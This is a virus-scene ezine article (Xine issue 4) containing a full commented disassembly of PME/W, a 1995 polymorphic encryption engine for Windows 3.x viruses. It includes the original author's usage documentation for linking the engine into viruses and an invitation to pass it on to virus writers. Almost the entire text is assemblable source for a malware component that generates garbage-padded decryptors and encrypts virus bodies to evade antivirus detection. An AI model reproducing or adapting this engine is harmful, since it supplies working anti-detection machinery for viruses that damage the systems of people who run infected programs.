Copy Link
Add to Bookmark
Report

Xine - issue #4 - Phile 310

eZine's profile picture
Published in 
Xine
 · 4 May 2024

 
/-----------------------------\
| Xine - issue #4 - Phile 310 |
\-----------------------------/


; ===========================================================================
; PME/W v0.00 Phantasie Mutation Engine for Windows v0.00
; ===========================================================================
;
; Name : PME/W
; Version : 0.00
; Original Author : Burglar
; Original Size : 1412 bytes
; Platform : Win3x
; Kind : Polymorphic Engine
; Origin : Taipei (Taiwan)
; Dissassembly by : Billy Belceb£/iKX
;
; Some comments :
;
; Here follows my second dissassembly (after KRTT, see my VWGs), and i hope
; it won't be the last. I don't know if anyone had dissassemblied this engine
; before, but here i am, i did it (all) the 18 of May, in a boring afternoon
; after doing a 'physic' exam. Well, ehem, nobody wants to know my life :)
;
; The engine itself is very simple, besides the fact it's for Win3x viruses,
; i hadn't found anything special on it, and i really think that AV won't ha-
; ve to work much to detect it (as it has many fixed bytes). Well, you will
; see all the details in the engine itself. Now, here you have its original
; documentation.
;
; ---[ PME/W DOCUMENTATION ]-------------------------------------------------
;
; Phantasie Mutation Engine for Windows <tm> Version 0.00
; Written by Burglar in Taipei, Taiwan. (95/07/16)
;
;
; 1. License
;
; You are free to include this Engine in your Windows virii, and
; your Windows virii don't injure anything. Injure anything is
; prohibited.
;
;
; 2. How to use it
;
; when you want use it, you must declare below at first in code
; segment.
;
; EXTRN PMEW:NEAR, PMEW_END:NEAR
;
; Then you write your Windows virii as usual. When you need to
; encrypt the code, you just call the Engine. Put the following
; instruction in your code:
;
; CALL PMEW
;
; You also need to supply the parameters for the Engine. They are
; passed in registers. Results are also passed in registers.
;
; Of course, you must link the PMEW.OBJ module to your Windows virii
; !
;
; PMEW_END labeled the tail of your virii that includes the engine,
; and you can use OFFSET PMEW_END to get the length of your Windows
; virii that includes the engine.
;
;
; 3. Input parameters
;
; All parameters are mandatory. Description follows:
;
; ES:DI => Work space
;
; The Engine needs work space. For placing product (decrypt code
; & encrypted code) which is generated by PME/W.
;
; DS:SI => Code to encrypt
;
; On entry, just set DS:SI to point to the code you want to be
; encrypted.
;
; CX = Length of code to encrypt
;
; On entry, just set CX to the length of the code you want to be
; encrypted.
;
; DX:AX => Relocation fixup information
;
; When your virii has relocation records (such as you may call the
; Windows APIs to do something, or your virii will pass control to
; host program via intersegment jump, etc.) , you have to pass
; pertinent information to PME/W.
;
; Format of relocation fixup information:
; Offset Size Description
; 00h WORD number of relocation items
; 02h 2N BYTEs relocation items
; Offset Size Description
; 00h WORD offset within segment
;
; ATTENTION!
; Your Windows virii must be zero start! (i.e. begin running with
; CS:0000)
;
;
; 4. Results
;
; The Engine returns the following values in registers:
; (all other except for the listed below will be PRESERVED)
;
; CX = Length of the decryption routine
;
; CX now has the length of decryption routine.
; ATTENTION! (mere length of decryption routine)
;
; The product (decryption routine & encrypted code) which generated
; by PME/W is placed in Work space (i.e. pointed by ES:DI)
;
;
; 5. Final Notes
;
; SPECIAL THANKS:
;
; qark (for your Windows infection theory & WinSurfer)
; quantum (for WinSurfer & grin me !@#$%^&*)
; metabolis (for leading vlad magazine & tons of stuff)
; malware (for NE format detail)
; lookout (for tons of stuff)
; kdkd (for tons of stuff & blah.gif - fxxx with horse !@#$%^&*)
; horde (for tons of stuff - cvdq.arj)
; dread (for giving me a account in Russia)
; theora (you are the only one female interested in virii, could you
; be my girl friend ?!)
; slash (hehe... my teacher & confident)
;
;
; Well, that's for now. No time for more. No demonstration program
; .
;
; Pass the Engine (all files together in an archive) to Windows virii
; programmers.
;
;
; Greetings to all virii programmers
;
; Burglar
;
; Taipei, Taiwan.
;
; ---[ PME/W DOCUMENTATION ]-------------------------------------------------
;
; Well, i sincerely hope that you find this simple (but very well coded) en-
; gine interesting. If anyone wanna know, i did this dissassembly with IDA :)
; Get it from internet (it's big, but a very good program). Thanks to Slage,
; for the 'thingy' that he gave me in Italy, and to Darkman, because he is
; the IDA god :)
;
; Btw, maybe you have seen that it ain't too much commented... i don't like
; to comment code that ain't mine... maybe i will improve this, but not now,
; not today.
;
; Bored and apathetic,
; Billy Belceb£/iKX
;

p486

_PMEW segment byte private '' use16

assume cs:_PMEW
assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
public PMEW,PMEW_END
PMEW:
jmp short engine_start
nop ; hehehe

PMEW_Mark db " PME for Windows v0.00 (C) Jul 1995 By Burglar "

engine_start proc near
push ax ; Push AX in stack
push bx ; Push BX in stack
push dx ; Push DX in stack
push bp ; Push BP in stack
push si ; Push SI in stack
push di ; Push DI in stack
push ds ; Push DS in stack
push es ; Push ES in stack
mov bp, ds ; BP -> DS
push ax ; Push AX in stack
push cs
pop bx ; BX -> CS
mov ax, 0Ah
int 31h ; DPMI Services ax=func xxxxh
; CREATE CODE SEGMENT ALIAS DESCRIPTOR
; BX = code segment selector
; Return: CF set on error
; CF clear if successful,
; AX = new data selector

mov ds, ax ; DS = new data selector = AX
pop ax ; Restore AX from stack
call _delta ; Get Delta Offset
_delta:
pop bx
sub bx, offset _delta

init_values:
mov ds:shit[bx], 0FDAAh ; Put SHIT value to 0FDAAh
mov ds:status_byte[bx], 0 ; Make status byte to be 0
nop ; hehe
mov ds:code_offset[bx], si ; Save offset of code to enc.
mov ds:code_segment[bx], bp ; Save its segment
mov ds:work_space[bx], di ; Save offs. where dec. will go
mov ds:work_segment[bx], es ; Save its segment
mov ds:enc_length[bx], cx ; Save the size to encrypt
mov ds:reloc_offset[bx], ax ; Save offset of RELOC struc
mov ds:reloc_segment[bx], dx ; Save its segment
cld ; Clear direction flag
call pre_garbage ; Generate simple garbage
mov al, 60h ; Generate PUSHAD
stosb ; Store it to ES:[DI]
mov ds:shit[bx], 0 ; Put shit variable to 0
call pre_garbage ; Generate simple garbage
mov al, 1Eh ; Generate PUSH DS
stosb ; Store it to ES:[DI]
call pre_garbage ; Generate simple garbage
mov al, 0Eh ; Generate PUSH CS
stosb ; Store it to ES:[DI]
call pre_garbage ; Generate simple garbage
mov al, 5Bh ; Generate POP BX
stosb ; Store it to ES:[DI]
or ds:shit[bx], 88h
call pre_garbage ; Generate simple garbage
mov al, 0B8h ; Generate MOV AX,imm16
stosb ; Store it to ES:[DI]
mov ax, 0Ah ; Immediate
stosw ; Store it to ES:[DI]
or ds:shit[bx], 11h
call pre_garbage ; Generate simple garbage
mov ax, 31CDh ; Generate INT 31h
stosw ; Store it to ES:[DI]
and ds:shit[bx], 0FF77h
call pre_garbage ; Generate simple garbage
mov ax, 0D88Eh ; Generate MOV DS,AX
stosw ; Store it to ES:[DI]
and ds:shit[bx], 11h
call pre_garbage ; Generate simple garbage
mov al, 0BBh ; Generate MOV BX,imm16
stosb ; Store it to ES:[DI]
push di
scasw ; Store it to ES:[DI]
or ds:shit[bx], 88h
call pre_garbage ; Generate simple garbage
mov ds:jmp_temp[bx], di
call pre_garbage
mov ax, 3780h ; Generate XOR [DI],imm16
stosw ; Store it to ES:[DI]
push di ; Save DI on stack
scasb
call pre_garbage
mov ax, 0D3F7h ; Generate NOT BX
stosw ; Store it to ES:[DI]
call pre_garbage
mov ax, 0DBF7h ; Generate NEG BX
stosw ; Store it to ES:[DI]
call pre_garbage
push ds ; Process RELOCS :)
mov si, ds:reloc_offset[bx]
mov ds, ds:reloc_segment[bx]
mov cx, [si] ; [SI] -> CX
pop ds ; Restore DS from stack
jcxz lets_rock ; If CX = 0 goto lets_rock
l00py: ; ...
mov ax, 0FB81h ; Generate CMP BX, imm16
stosw ; Store it to ES:[DI]
push di ; Save DI
scasw
mov ds:status_byte[bx], 1
nop
call pre_garbage
mov al, 75h ; Generate JNZ
stosb ; Store it to ES:[DI]
push di ; Save DI on stack
scasb
mov ds:status_byte[bx], 0
nop
call pre_garbage
mov ax, 0C383h ; Generate ADD BX,imm16
stosw ; Store it to ES:[DI]
mov al, 4 ; AL -> 4
stosb ; Store it to ES:[DI]
call pre_garbage
pop si ; Restore SI from stack
mov dx, si ; DX = SI
inc dx ; Increase DX
mov ax, di ; AX = DI
sub ax, dx ; AX = AX-DX
mov es:[si], al ; Store AL to ES:[SI]
loop l00py
lets_rock: ; ...
mov ax, 0FB81h ; Generate CMP BX,imm16
stosw ; Store it to ES:[DI]
push di ; Save DI on stack
scasw
mov ds:status_byte[bx], 1
nop
call pre_garbage
mov al, 74h ; Generate JZ
stosb ; Store it to ES:[DI]
push di ; Save DI on stack
scasb
call pre_garbage
mov al, 0E9h ; Generate JMP
stosb ; Store it to ES:[DI]
mov ax, ds:jmp_temp[bx]
mov dx, di ; All this stuff is
add dx, 2 ; because the goddamn JMP
sub ax, dx ; AX = AX-DX
stosw ; Store it to ES:[DI]
call pre_garbage
pop si ; Restore SI from stack
mov dx, si ; DX = SI
inc dx ; Increase DX
mov ax, di ; AX = DI
sub ax, dx ; AX = AX-DX
mov es:[si], al ; Store AL in ES:[DI]
mov al, 1Fh ; Generate POP DS
stosb ; Store it to ES:[DI]
call pre_garbage
mov al, 61h ; Generate POPAD
stosb ; Store it to ES:[DI]
mov ax, di ; AX = DI
sub ax, ds:work_space[bx] ; AX = AX-Work Space (initial DI)
mov ds:temp[bx], ax ; Temp = already generated code size
mov ax, ds:temp[bx] ; Why this if you already have it? :)
add ax, ds:enc_length[bx] ; Add the size to encrypt
pop si ; Restore SI from stack
mov es:[si], ax ; Store AX into ES:[SI]
mov dx, ds ; Put temporally DS in DX
mov si, ds:reloc_offset[bx]
mov ds, ds:reloc_segment[bx]
lodsw ; Get DS:[SI] into AX
mov cx, ax
jcxz copy_virus ; if CX = 0 goto copy_virus
dec ax ; Decrease AX
shl ax, 1 ; Multiply AX per 2
add si, ax ; Add it to SI
std ; Set Direction Flag
make_temp: ; ...
lodsw ; Get DS:[SI] into AX
mov bp, ds ; DS -> BP
mov ds, dx ; DX -> DS
add ax, ds:temp[bx]
mov ds, bp ; BP -> DS
pop bp ; Restore BP
mov es:[bp], ax ; AX -> ES:[BP]
loop make_temp
cld
copy_virus: ; ...
mov ds, dx ; DS = DX
call random ; Get a random number
pop bp ; Restore BP from stack
mov es:[bp], al ; ES:[BP] <- AL
pop bp ; Restore BP again
push ds:temp[bx] ; Push memory address
pop word ptr es:[bp] ; And pop there
mov cx, ds:enc_length[bx] ; Size to copy
mov si, ds:code_offset[bx] ; From where copy (offset)
mov ds, ds:code_segment[bx] ; From what segment
push di ; Save DI
repe movsb ; Copy DS:[SI] to ES:[DI]
pop di ; Restore DI
mov ds, dx ; DS = DX
mov bp, ds:temp[bx] ; Setup encryption routine
mov cx, ds:enc_length[bx]
mov si, ds:reloc_offset[bx]
mov ds, ds:reloc_segment[bx]
crypt_virus: ; ...
push ax ; All this and the below thingies
push cx ; are the fucken encryption loop...
push si ; Save SI on stack
xor es:[di], al ; Encryption operation
inc di ; Increment index
lodsw ; Get DS:[SI] into AX
mov cx, ax ; AX = CX
jcxz close_engine ; If CX = 0 goto close_engine
pseudo_loop: ; ...
lodsw ; Get DS:[SI] into AX
add ax, bp ; Normalize
push ds ; Save DS
mov ds, dx ; DS = DX
add ax, ds:work_space[bx] ; AX = AX+work space
pop ds ; Restore DS
cmp di, ax ; Compare DI with AX
jnz fix_it ; Aren't they equal?
add di, 4 ; If they are equal, DI=DI+4
fix_it: ; ...
loop pseudo_loop
close_engine: ; ...
pop si ; Restore SI
pop cx ; Restore CX
pop ax ; Restore AX
loop crypt_virus ; Cryption loop
mov ds, dx ; DS = DX
mov cx, ds:temp[bx] ; CX = Decryptor size
pop es ; Restore ES
pop ds ; Restore DS
pop di ; Restore DI
pop si ; Restore SI
pop bp ; Restore BP
pop dx ; Restore DX
pop bx ; Restore BX
pop ax ; Restore AX
retn ; Return to caller
engine_start endp

pre_garbage proc near ; ...
push si ; Save SI on stack
call random ; Get a random number
aam 20h
cbw
mov bp, ax
add bp, di
loop_pre_gbg: ; ...
call random ; Get a random number
and al, 1 ; make it to be [0..1]
shl al, 1 ; multiply per 2
mov si, ax ; put it in SI
and si, 0FFh ; clear msb of SI
mov si, ds:pseudo_table[bx+si] ; Get an offset
lea si, [bx+si]
call si ; call it
cmp di, bp
jb loop_pre_gbg ; shitz...
pop si
retn
pre_garbage endp

get_pseudo_rib: ; ...
push ax
push cx
push dx
push si
call random ; Get a random number
aam 9 ; Adjust After Multiplication to 9 =)
test ds:status_byte[bx], 1
nop
jz fix_it1 ; Needs fix?
and al, 0 ; Yeah, it needs :)
fix_it1: ; ...
cbw
mov si, ax
mov ah, ds:rib_table[bx+si]
call random
test al, 1
jnz tons_of_shit
call get_poly_table
push ax
shr al, 3 ; Shift 3 bytes left [xx???xxx]
and al, 1 ; Must be between 0 and 1
or ah, al
call random ; Get a random number
and al, 2 ; AL must be between 0 and 2
or ah, al
xchg al, ah
stosb ; Store it to ES:[DI]
or ah, ah
pop ax
mov ah, al
call random
jnz okay_not_zero
and ah, 7 ; Add AH xxxxx111
and al, 38h ; Must be xx???xxx
jmp short finish_him
nop
okay_not_zero: ; ...
shl ah, 3 ; Shift left 3 bytes
and ah, 38h ; Must be xx???xxx
and al, 7 ; Add xxxxx111
finish_him: ; ...
or al, 0C0h ; Add the first 2 bits 11xxxxxx
or al, ah
stosb ; Store it to ES:[DI]
jmp short exit_func
nop
tons_of_shit: ; ...
or ah, 2
call get_poly_table
push ax
shr al, 3 ; Some math operations
and al, 1
or ah, al
mov al, ah
stosb ; Store it to ES:[DI]
pop ax ; Restore AX
shl al, 3
and al, 38h
or al, 6
stosb ; Store it to ES:[DI]
call random ; Get a random number
mov ah, al ; AH = AL
call random ; Get a random number
xor dx, dx ; DX = 0
mov cx, 1FFh
div cx ; Divide AX per 1FFh
stosw ; Store it to ES:[DI]
exit_func: ; ...
pop si ; Restore SI
pop dx ; Restore DX
pop cx ; Restore CX
pop ax ; Restore AX
retn ; Return to caller
gen_onebyter: ; ...
push si ; Save SI on stack
call random ; Get a random number
aam 5 ; Interesting instruction this AAM ;)
cbw
mov si, ax ; SI = AX
mov al, ds:one_byters[bx+si]
stosb ; Store it to ES:[DI]
pop si
retn
get_poly_table: ; ...
push si ; Save SI
call random ; Get a random number
and al, 0Fh ; Between [00..15]
shl al, 1 ; Multiply per 2
mov si, ax ; Put in SI
and si, 0FFh ; only lsb of SI is interesting
mov si, ds:test_table[bx+si] ; Get an offset
lea si, [bx+si]
call si ; Call the function pointed by it
pop si ; Restore SI
jnz get_poly_table ; Not zero? shit
shr al, 1 ; Divide per 2
retn

; All this shitty TESTs =)

test_1: ; ...
test ds:shit[bx], 1
retn
test_2: ; ...
test ds:shit[bx], 2
retn
test_4: ; ...
test ds:shit[bx], 4
retn
test_8: ; ...
test ds:shit[bx], 8
retn
test_10: ; ...
test ds:shit[bx], 10h
retn
test_20: ; ...
test ds:shit[bx], 20h
retn
test_40: ; ...
test ds:shit[bx], 40h
retn
test_80: ; ...
test ds:shit[bx], 80h
retn
test_11: ; ...
test ds:shit[bx], 11h
retn
test_22: ; ...
test ds:shit[bx], 22h
retn
test_44: ; ...
test ds:shit[bx], 44h
retn
test_88: ; ...
test ds:shit[bx], 88h
retn
or_al_al: ; ...
or al, al
retn
test_200: ; ...
test ds:shit[bx], 200h
retn
test_400: ; ...
test ds:shit[bx], 400h
retn
test_800: ; ...
test ds:shit[bx], 800h
retn

; The PME/W's RNG (Random Number Generator)

random proc near ; ...
pushf ; This procedure is for obtain a rand.
push cx ; number in AL :)
push ax
in al, 40h ; Timer 8253-5 (AT: 8254.2).
mov cl, al
in al, 40h ; Timer 8253-5 (AT: 8254.2).
mov ah, al
in al, 40h ; Timer 8253-5 (AT: 8254.2).
xor al, ah
rcr al, cl
mov cl, al
pop ax
mov al, cl
pop cx
popf
retn
random endp

; Some data

shit dw ?
status_byte db ?
code_offset dw ?
code_segment dw ?
work_space dw ?
work_segment dw ?
reloc_offset dw ?
reloc_segment dw ?
enc_length dw ?
temp dw ?
jmp_temp dw ?

rib_table db 88h ; Table with information needed
db 00h ; for RegInfoByte thingy
db 10h
db 28h
db 18h
db 38h
db 20h
db 08h
db 30h

; Table of do-nothing one-byters, used as garbage

one_byters db 0FCh ; CLD
db 0FDh ; STD
db 0F3h ; REP
db 0F2h ; REPNZ
db 90h ; NOP

; Some tables of all TESTs

test_table dw offset test_1
dw offset test_2
dw offset test_4
dw offset test_8
dw offset test_10
dw offset test_20
dw offset test_40
dw offset test_80
dw offset test_11
dw offset test_22
dw offset test_44
dw offset test_88
dw offset or_al_al
dw offset test_200
dw offset test_400
dw offset test_800

; Tables for generate interesting stuff

pseudo_table dw offset get_pseudo_rib
dw offset gen_onebyter
PMEW_END label byte
_PMEW ends
end



← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT